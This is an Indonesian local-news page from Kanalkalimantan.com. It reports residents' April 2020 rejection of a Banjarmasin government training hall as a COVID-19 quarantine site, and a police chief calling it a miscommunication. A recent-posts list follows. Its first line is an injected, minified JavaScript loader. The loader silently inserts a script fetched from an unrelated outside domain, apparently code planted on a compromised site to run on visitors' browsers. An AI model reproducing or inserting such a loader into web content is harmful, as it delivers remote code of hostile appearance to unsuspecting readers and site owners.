(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Penolakan Balai Diklat jadi Karantina Covid-19, Kapolsek Banjarmasin Utara: Miskomunikasi Saja!


KANALKALIMANTAN.COM, BANJARMASIN – Warga Komplek Kayu Tangi II, Jalan Brigjen H. Hasan Basry Kelurahan Pangeran, Banjarmasin, menolak digunakannya Gedung Balai Diklat Pemko Banjarmasin sebagai tempat karantina orang dalam pemantauan (ODP) maupun pasien dalam pengawasan (PDP). Namun aksi penolakan ini langsung diredam aparat kepolisian dari Polsek Banjarmasin Utara yang melakukan mediasi kepada masyarakat.

Ditemui di lokasi pada Selasa (7/4/2020) malam, Kapolsek Banjarmasin Utara AKP Gita Suhandi mengatakan, jajarannya sudah melakukan mediasi kepada masyarakat sekitar untuk membubarkan diri. Selanjutnya, ia menambahkan, akan ada pertemuan antara masyarakat dengan Gugus Tugas Kota Banjarmasin.

“Saya minta kepada ajudan Wali Kota untuk melakukan pertemuan dengan masyarakat,” ungkap AKP Gita. Dengan ditetapkannya Gedung Balai Diklat sebagai tempat karantina, ia tidak menampik gedung ini memang akan digunakan untuk itu. Hanya saja, tidak ada pemberitahuan lebih lanjut kepada masyarakat sekitar hingga berujung adanya penolakan, atau adanya miskomunikasi.

“Hanya miskomunikasi saja. Seandainya sudah ada pertemuan, ada penjelasan teknis yang bisa menerima, Insyaallah masyakarat berkenan saja,” jelasnya.

AKP Gita mengatakan, adanya penolakan masyarakat karena kekhawatiran ODP akan berkeliaran. Ia sudah berbicara dengan masyarakat dan menjamin akan ada penjagaan dari aparat TNI-Polri. “Seandainya dipakai, kami akan jaga 24 jam,” tegasnya.

AKP Gita sendiri menyayangkan, masih banyak warga Kota Banjarmasin yang berkumpul di kerumunan dan tidak mengindahkan imbauan kepolisian. Pendirian gedung karantina khusus sendiri, diklaim merupakan langkah sigap pemerintah untuk memperkecil dan mengisolasi ruang gerak ODP di lingkungan masyarakat.

“Ini sudah langkah terbaik dari pemerintah, jadi kita harapkan dukungan dari masyarakat juga. Ini hanya miskomunikasi saja,” pungkasnya. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

25 menit ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

12 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

12 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

15 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

21 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

22 jam ago

This website uses cookies.